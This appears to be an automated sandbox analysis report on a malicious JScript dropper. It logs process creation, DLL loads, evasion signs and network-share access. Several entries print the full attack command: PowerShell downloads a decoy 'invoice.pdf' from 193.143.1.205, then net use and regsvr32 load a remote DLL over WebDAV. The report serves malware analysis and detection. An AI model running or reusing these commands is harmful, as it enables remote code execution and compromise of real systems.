Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3375.js.csv");ITextStream.WriteLine(" entry:7910 f:eiuwqfae");ITextStream.WriteLine(" exec:2 f:eiuwqfae");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49742

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3291			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6580			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep count: 3291 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep count: 6580 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7828	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8084	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000008.00000002.1395241833.0000019C47138000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: svchost.exe, 0000000A.00000002.2597367591.0000022213E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%F
Source: net.exe, 00000008.00000002.1395241833.0000019C4719D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWfA
Source: net.exe, 00000008.00000002.1395241833.0000019C4719D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2598994002.000002221945F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
